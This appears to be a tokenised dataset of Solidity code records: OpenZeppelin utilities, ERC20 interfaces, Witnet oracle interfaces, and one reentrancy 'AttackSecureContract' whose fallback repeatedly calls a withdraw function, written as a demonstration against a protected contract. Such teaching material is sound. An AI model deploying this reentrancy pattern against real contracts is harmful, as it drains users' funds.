* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165Upgradeable {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/IERC20.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20Upgradeable {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `to`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address to, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `from` to `to` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
} | @dev Validates a rate. The denominator must be greater than zero and greater than or equal to the numerator. @param rate The rate to validate | function _validateRate(Rate calldata rate) internal pure {
require(
rate.denominator != 0 && rate.denominator >= rate.numerator,
"invalid_rate"
);
}
| 1,423,304 | [
1,
9594,
279,
4993,
18,
1021,
15030,
1297,
506,
6802,
2353,
3634,
471,
6802,
2353,
578,
3959,
358,
326,
16730,
18,
225,
4993,
1021,
4993,
358,
1954,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
389,
5662,
4727,
12,
4727,
745,
892,
4993,
13,
2713,
16618,
288,
203,
3639,
2583,
12,
203,
5411,
4993,
18,
13002,
26721,
480,
374,
597,
4993,
18,
13002,
26721,
1545,
4993,
18,
2107,
7385,
16,
203,
5411,
315,
5387,
67,
5141,
6,
203,
3639,
11272,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
// SPDX-License-Identifier: GPL-3.0
pragma solidity >=0.7.0 <0.9.0;
import "./SecureContract.sol";
/**
* @title AttackSecureContract
* @dev Used to demonstrate a contract how a secure contract can prevent a reentrance attack
*/
contract AttackSecureContract {
SecureContract public secureContract;
/// Initialize the Attacker contract with the address of
/// the secure contract.
constructor(address _secureContract) {
secureContract = SecureContract(_secureContract);
}
// Fallback will be called when the SecureContract sends ETH to this contract.
fallback() external payable {
/// This will check if the secure contract still has ETH
/// and if it does, continue to try and call withdrawUntrusted()
if (address(secureContract).balance >= 1 ether) {
secureContract.withdrawUntrusted();
}
}
/// This function will start the attack on the secure contract
function attack() external payable {
require(msg.value >= 1 ether);
secureContract.deposit{value: 1 ether}();
secureContract.withdrawUntrusted();
}
// Check the balance of this contract
function getBalance() public view returns (uint256) {
return address(this).balance;
}
} | Initialize the Attacker contract with the address of the secure contract. | constructor(address _secureContract) {
secureContract = SecureContract(_secureContract);
}
| 12,807,165 | [
1,
7520,
326,
6020,
484,
264,
6835,
598,
326,
1758,
434,
326,
8177,
6835,
18,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
3885,
12,
2867,
389,
8869,
8924,
13,
288,
203,
3639,
8177,
8924,
273,
15653,
8924,
24899,
8869,
8924,
1769,
203,
565,
289,
203,
377,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
// SPDX-License-Identifier: MIT
pragma solidity >=0.7.0 <0.9.0;
pragma experimental ABIEncoderV2;
// File: node_modules\witnet-solidity-bridge\contracts\interfaces\IWitnetRequestBoardEvents.sol
/// @title Witnet Request Board emitting events interface.
/// @author The Witnet Foundation.
interface IWitnetRequestBoardEvents {
/// Emitted when a Witnet Data Request is posted to the WRB.
event PostedRequest(uint256 queryId, address from);
/// Emitted when a Witnet-solved result is reported to the WRB.
event PostedResult(uint256 queryId, address from);
/// Emitted when all data related to given query is deleted from the WRB.
event DeletedQuery(uint256 queryId, address from);
}
// File: node_modules\witnet-solidity-bridge\contracts\interfaces\IWitnetRequestBoardReporter.sol
/// @title The Witnet Request Board Reporter interface.
/// @author The Witnet Foundation.
interface IWitnetRequestBoardReporter {
/// Reports the Witnet-provided result to a previously posted request.
/// @dev Will assume `block.timestamp` as the timestamp at which the request was solved.
/// @dev Fails if:
/// @dev - the `_queryId` is not in 'Posted' status.
/// @dev - provided `_drTxHash` is zero;
/// @dev - length of provided `_result` is zero.
/// @param _queryId The unique identifier of the data request.
/// @param _drTxHash The hash of the solving tally transaction in Witnet.
/// @param _result The result itself as bytes.
function reportResult(uint256 _queryId, bytes32 _drTxHash, bytes calldata _result) external;
/// Reports the Witnet-provided result to a previously posted request.
/// @dev Fails if:
/// @dev - called from unauthorized address;
/// @dev - the `_queryId` is not in 'Posted' status.
/// @dev - provided `_drTxHash` is zero;
/// @dev - length of provided `_result` is zero.
/// @param _queryId The unique query identifier
/// @param _timestamp The timestamp of the solving tally transaction in Witnet.
/// @param _drTxHash The hash of the solving tally transaction in Witnet.
/// @param _result The result itself as bytes.
function reportResult(uint256 _queryId, uint256 _timestamp, bytes32 _drTxHash, bytes calldata _result) external;
}
// File: node_modules\witnet-solidity-bridge\contracts\interfaces\IWitnetRequest.sol
/// @title The Witnet Data Request basic interface.
/// @author The Witnet Foundation.
interface IWitnetRequest {
/// A `IWitnetRequest` is constructed around a `bytes` value containing
/// a well-formed Witnet Data Request using Protocol Buffers.
function bytecode() external view returns (bytes memory);
/// Returns SHA256 hash of Witnet Data Request as CBOR-encoded bytes.
function hash() external view returns (bytes32);
}
// File: node_modules\witnet-solidity-bridge\contracts\libs\Witnet.sol
library Witnet {
/// @notice Witnet function that computes the hash of a CBOR-encoded Data Request.
/// @param _bytecode CBOR-encoded RADON.
function hash(bytes memory _bytecode) internal pure returns (bytes32) {
return sha256(_bytecode);
}
/// Struct containing both request and response data related to every query posted to the Witnet Request Board
struct Query {
Request request;
Response response;
}
/// Possible status of a Witnet query.
enum QueryStatus {
Unknown,
Posted,
Reported,
Deleted
}
/// Data kept in EVM-storage for every Request posted to the Witnet Request Board.
struct Request {
IWitnetRequest addr; // The contract containing the Data Request which execution has been requested.
address requester; // Address from which the request was posted.
bytes32 hash; // Hash of the Data Request whose execution has been requested.
uint256 gasprice; // Minimum gas price the DR resolver should pay on the solving tx.
uint256 reward; // Escrowed reward to be paid to the DR resolver.
}
/// Data kept in EVM-storage containing Witnet-provided response metadata and result.
struct Response {
address reporter; // Address from which the result was reported.
uint256 timestamp; // Timestamp of the Witnet-provided result.
bytes32 drTxHash; // Hash of the Witnet transaction that solved the queried Data Request.
bytes cborBytes; // Witnet-provided result CBOR-bytes to the queried Data Request.
}
/// Data struct containing the Witnet-provided result to a Data Request.
struct Result {
bool success; // Flag stating whether the request could get solved successfully, or not.
CBOR value; // Resulting value, in CBOR-serialized bytes.
}
/// Data struct following the RFC-7049 standard: Concise Binary Object Representation.
struct CBOR {
Buffer buffer;
uint8 initialByte;
uint8 majorType;
uint8 additionalInformation;
uint64 len;
uint64 tag;
}
/// Iterable bytes buffer.
struct Buffer {
bytes data;
uint32 cursor;
}
/// Witnet error codes table.
enum ErrorCodes {
// 0x00: Unknown error. Something went really bad!
Unknown,
// Script format errors
/// 0x01: At least one of the source scripts is not a valid CBOR-encoded value.
SourceScriptNotCBOR,
/// 0x02: The CBOR value decoded from a source script is not an Array.
SourceScriptNotArray,
/// 0x03: The Array value decoded form a source script is not a valid Data Request.
SourceScriptNotRADON,
/// Unallocated
ScriptFormat0x04,
ScriptFormat0x05,
ScriptFormat0x06,
ScriptFormat0x07,
ScriptFormat0x08,
ScriptFormat0x09,
ScriptFormat0x0A,
ScriptFormat0x0B,
ScriptFormat0x0C,
ScriptFormat0x0D,
ScriptFormat0x0E,
ScriptFormat0x0F,
// Complexity errors
/// 0x10: The request contains too many sources.
RequestTooManySources,
/// 0x11: The script contains too many calls.
ScriptTooManyCalls,
/// Unallocated
Complexity0x12,
Complexity0x13,
Complexity0x14,
Complexity0x15,
Complexity0x16,
Complexity0x17,
Complexity0x18,
Complexity0x19,
Complexity0x1A,
Complexity0x1B,
Complexity0x1C,
Complexity0x1D,
Complexity0x1E,
Complexity0x1F,
// Operator errors
/// 0x20: The operator does not exist.
UnsupportedOperator,
/// Unallocated
Operator0x21,
Operator0x22,
Operator0x23,
Operator0x24,
Operator0x25,
Operator0x26,
Operator0x27,
Operator0x28,
Operator0x29,
Operator0x2A,
Operator0x2B,
Operator0x2C,
Operator0x2D,
Operator0x2E,
Operator0x2F,
// Retrieval-specific errors
/// 0x30: At least one of the sources could not be retrieved, but returned HTTP error.
HTTP,
/// 0x31: Retrieval of at least one of the sources timed out.
RetrievalTimeout,
/// Unallocated
Retrieval0x32,
Retrieval0x33,
Retrieval0x34,
Retrieval0x35,
Retrieval0x36,
Retrieval0x37,
Retrieval0x38,
Retrieval0x39,
Retrieval0x3A,
Retrieval0x3B,
Retrieval0x3C,
Retrieval0x3D,
Retrieval0x3E,
Retrieval0x3F,
// Math errors
/// 0x40: Math operator caused an underflow.
Underflow,
/// 0x41: Math operator caused an overflow.
Overflow,
/// 0x42: Tried to divide by zero.
DivisionByZero,
/// Unallocated
Math0x43,
Math0x44,
Math0x45,
Math0x46,
Math0x47,
Math0x48,
Math0x49,
Math0x4A,
Math0x4B,
Math0x4C,
Math0x4D,
Math0x4E,
Math0x4F,
// Other errors
/// 0x50: Received zero reveals
NoReveals,
/// 0x51: Insufficient consensus in tally precondition clause
InsufficientConsensus,
/// 0x52: Received zero commits
InsufficientCommits,
/// 0x53: Generic error during tally execution
TallyExecution,
/// Unallocated
OtherError0x54,
OtherError0x55,
OtherError0x56,
OtherError0x57,
OtherError0x58,
OtherError0x59,
OtherError0x5A,
OtherError0x5B,
OtherError0x5C,
OtherError0x5D,
OtherError0x5E,
OtherError0x5F,
/// 0x60: Invalid reveal serialization (malformed reveals are converted to this value)
MalformedReveal,
/// Unallocated
OtherError0x61,
OtherError0x62,
OtherError0x63,
OtherError0x64,
OtherError0x65,
OtherError0x66,
OtherError0x67,
OtherError0x68,
OtherError0x69,
OtherError0x6A,
OtherError0x6B,
OtherError0x6C,
OtherError0x6D,
OtherError0x6E,
OtherError0x6F,
// Access errors
/// 0x70: Tried to access a value from an index using an index that is out of bounds
ArrayIndexOutOfBounds,
/// 0x71: Tried to access a value from a map using a key that does not exist
MapKeyNotFound,
/// Unallocated
OtherError0x72,
OtherError0x73,
OtherError0x74,
OtherError0x75,
OtherError0x76,
OtherError0x77,
OtherError0x78,
OtherError0x79,
OtherError0x7A,
OtherError0x7B,
OtherError0x7C,
OtherError0x7D,
OtherError0x7E,
OtherError0x7F,
OtherError0x80,
OtherError0x81,
OtherError0x82,
OtherError0x83,
OtherError0x84,
OtherError0x85,
OtherError0x86,
OtherError0x87,
OtherError0x88,
OtherError0x89,
OtherError0x8A,
OtherError0x8B,
OtherError0x8C,
OtherError0x8D,
OtherError0x8E,
OtherError0x8F,
OtherError0x90,
OtherError0x91,
OtherError0x92,
OtherError0x93,
OtherError0x94,
OtherError0x95,
OtherError0x96,
OtherError0x97,
OtherError0x98,
OtherError0x99,
OtherError0x9A,
OtherError0x9B,
OtherError0x9C,
OtherError0x9D,
OtherError0x9E,
OtherError0x9F,
OtherError0xA0,
OtherError0xA1,
OtherError0xA2,
OtherError0xA3,
OtherError0xA4,
OtherError0xA5,
OtherError0xA6,
OtherError0xA7,
OtherError0xA8,
OtherError0xA9,
OtherError0xAA,
OtherError0xAB,
OtherError0xAC,
OtherError0xAD,
OtherError0xAE,
OtherError0xAF,
OtherError0xB0,
OtherError0xB1,
OtherError0xB2,
OtherError0xB3,
OtherError0xB4,
OtherError0xB5,
OtherError0xB6,
OtherError0xB7,
OtherError0xB8,
OtherError0xB9,
OtherError0xBA,
OtherError0xBB,
OtherError0xBC,
OtherError0xBD,
OtherError0xBE,
OtherError0xBF,
OtherError0xC0,
OtherError0xC1,
OtherError0xC2,
OtherError0xC3,
OtherError0xC4,
OtherError0xC5,
OtherError0xC6,
OtherError0xC7,
OtherError0xC8,
OtherError0xC9,
OtherError0xCA,
OtherError0xCB,
OtherError0xCC,
OtherError0xCD,
OtherError0xCE,
OtherError0xCF,
OtherError0xD0,
OtherError0xD1,
OtherError0xD2,
OtherError0xD3,
OtherError0xD4,
OtherError0xD5,
OtherError0xD6,
OtherError0xD7,
OtherError0xD8,
OtherError0xD9,
OtherError0xDA,
OtherError0xDB,
OtherError0xDC,
OtherError0xDD,
OtherError0xDE,
OtherError0xDF,
// Bridge errors: errors that only belong in inter-client communication
/// 0xE0: Requests that cannot be parsed must always get this error as their result.
/// However, this is not a valid result in a Tally transaction, because invalid requests
/// are never included into blocks and therefore never get a Tally in response.
BridgeMalformedRequest,
/// 0xE1: Witnesses exceeds 100
BridgePoorIncentives,
/// 0xE2: The request is rejected on the grounds that it may cause the submitter to spend or stake an
/// amount of value that is unjustifiably high when compared with the reward they will be getting
BridgeOversizedResult,
/// Unallocated
OtherError0xE3,
OtherError0xE4,
OtherError0xE5,
OtherError0xE6,
OtherError0xE7,
OtherError0xE8,
OtherError0xE9,
OtherError0xEA,
OtherError0xEB,
OtherError0xEC,
OtherError0xED,
OtherError0xEE,
OtherError0xEF,
OtherError0xF0,
OtherError0xF1,
OtherError0xF2,
OtherError0xF3,
OtherError0xF4,
OtherError0xF5,
OtherError0xF6,
OtherError0xF7,
OtherError0xF8,
OtherError0xF9,
OtherError0xFA,
OtherError0xFB,
OtherError0xFC,
OtherError0xFD,
OtherError0xFE,
// This should not exist:
/// 0xFF: Some tally error is not intercepted but should
UnhandledIntercept
}
}
// File: node_modules\witnet-solidity-bridge\contracts\interfaces\IWitnetRequestBoardRequestor.sol
/// @title Witnet Requestor Interface
/// @notice It defines how to interact with the Witnet Request Board in order to:
/// - request the execution of Witnet Radon scripts (data request);
/// - upgrade the resolution reward of any previously posted request, in case gas price raises in mainnet;
/// - read the result of any previously posted request, eventually reported by the Witnet DON.
/// - remove from storage all data related to past and solved data requests, and results.
/// @author The Witnet Foundation.
interface IWitnetRequestBoardRequestor {
/// Retrieves a copy of all Witnet-provided data related to a previously posted request, removing the whole query from the WRB storage.
/// @dev Fails if the `_queryId` is not in 'Reported' status, or called from an address different to
/// @dev the one that actually posted the given request.
/// @param _queryId The unique query identifier.
function deleteQuery(uint256 _queryId) external returns (Witnet.Response memory);
/// Requests the execution of the given Witnet Data Request in expectation that it will be relayed and solved by the Witnet DON.
/// A reward amount is escrowed by the Witnet Request Board that will be transferred to the reporter who relays back the Witnet-provided
/// result to this request.
/// @dev Fails if:
/// @dev - provided reward is too low.
/// @dev - provided script is zero address.
/// @dev - provided script bytecode is empty.
/// @param _addr The address of the IWitnetRequest contract that can provide the actual Data Request bytecode.
/// @return _queryId An unique query identifier.
function postRequest(IWitnetRequest _addr) external payable returns (uint256 _queryId);
/// Increments the reward of a previously posted request by adding the transaction value to it.
/// @dev Updates request `gasPrice` in case this method is called with a higher
/// @dev gas price value than the one used in previous calls to `postRequest` or
/// @dev `upgradeReward`.
/// @dev Fails if the `_queryId` is not in 'Posted' status.
/// @dev Fails also in case the request `gasPrice` is increased, and the new
/// @dev reward value gets below new recalculated threshold.
/// @param _queryId The unique query identifier.
function upgradeReward(uint256 _queryId) external payable;
}
// File: node_modules\witnet-solidity-bridge\contracts\interfaces\IWitnetRequestBoardView.sol
/// @title Witnet Request Board info interface.
/// @author The Witnet Foundation.
interface IWitnetRequestBoardView {
/// Estimates the amount of reward we need to insert for a given gas price.
/// @param _gasPrice The gas price for which we need to calculate the rewards.
function estimateReward(uint256 _gasPrice) external view returns (uint256);
/// Returns next query id to be generated by the Witnet Request Board.
function getNextQueryId() external view returns (uint256);
/// Gets the whole Query data contents, if any, no matter its current status.
function getQueryData(uint256 _queryId) external view returns (Witnet.Query memory);
/// Gets current status of given query.
function getQueryStatus(uint256 _queryId) external view returns (Witnet.QueryStatus);
/// Retrieves the whole `Witnet.Request` record referred to a previously posted Witnet Data Request.
/// @dev Fails if the `_queryId` is not valid or, if it has been deleted,
/// @dev or if the related script bytecode got changed after being posted.
/// @param _queryId The unique query identifier.
function readRequest(uint256 _queryId) external view returns (Witnet.Request memory);
/// Retrieves the serialized bytecode of a previously posted Witnet Data Request.
/// @dev Fails if the `_queryId` is not valid or, if it has been deleted,
/// @dev or if the related script bytecode got changed after being posted.
/// @param _queryId The unique query identifier.
function readRequestBytecode(uint256 _queryId) external view returns (bytes memory);
/// Retrieves the gas price that any assigned reporter will have to pay when reporting result
/// to the referred query.
/// @dev Fails if the `_queryId` is not valid or, if it has been deleted,
/// @dev or if the related script bytecode got changed after being posted.
/// @param _queryId The unique query identifier.
function readRequestGasPrice(uint256 _queryId) external view returns (uint256);
/// Retrieves the reward currently set for the referred query.
/// @dev Fails if the `_queryId` is not valid or, if it has been deleted,
/// @dev or if the related script bytecode got changed after being posted.
/// @param _queryId The unique query identifier.
function readRequestReward(uint256 _queryId) external view returns (uint256);
/// Retrieves the whole `Witnet.Response` record referred to a previously posted Witnet Data Request.
/// @dev Fails if the `_queryId` is not in 'Reported' status.
/// @param _queryId The unique query identifier.
function readResponse(uint256 _queryId) external view returns (Witnet.Response memory);
/// Retrieves the hash of the Witnet transaction hash that actually solved the referred query.
/// @dev Fails if the `_queryId` is not in 'Reported' status.
/// @param _queryId The unique query identifier.
function readResponseDrTxHash(uint256 _queryId) external view returns (bytes32);
/// Retrieves the address that reported the result to a previously-posted request.
/// @dev Fails if the `_queryId` is not in 'Reported' status.
/// @param _queryId The unique query identifier.
function readResponseReporter(uint256 _queryId) external view returns (address);
/// Retrieves the Witnet-provided CBOR-bytes result of a previously posted request.
/// @dev Fails if the `_queryId` is not in 'Reported' status.
/// @param _queryId The unique query identifier.
function readResponseResult(uint256 _queryId) external view returns (Witnet.Result memory);
/// Retrieves the timestamp in which the result to the referred query was solved by the Witnet DON.
/// @dev Fails if the `_queryId` is not in 'Reported' status.
/// @param _queryId The unique query identifier.
function readResponseTimestamp(uint256 _queryId) external view returns (uint256);
}
// File: node_modules\witnet-solidity-bridge\contracts\interfaces\IWitnetRequestParser.sol
/// @title The Witnet interface for decoding Witnet-provided request to Data Requests.
/// This interface exposes functions to check for the success/failure of
/// a Witnet-provided result, as well as to parse and convert result into
/// Solidity types suitable to the application level.
/// @author The Witnet Foundation.
interface IWitnetRequestParser {
/// Decode raw CBOR bytes into a Witnet.Result instance.
/// @param _cborBytes Raw bytes representing a CBOR-encoded value.
/// @return A `Witnet.Result` instance.
function resultFromCborBytes(bytes memory _cborBytes) external pure returns (Witnet.Result memory);
/// Decode a CBOR value into a Witnet.Result instance.
/// @param _cborValue An instance of `Witnet.CBOR`.
/// @return A `Witnet.Result` instance.
function resultFromCborValue(Witnet.CBOR memory _cborValue) external pure returns (Witnet.Result memory);
/// Tell if a Witnet.Result is successful.
/// @param _result An instance of Witnet.Result.
/// @return `true` if successful, `false` if errored.
function isOk(Witnet.Result memory _result) external pure returns (bool);
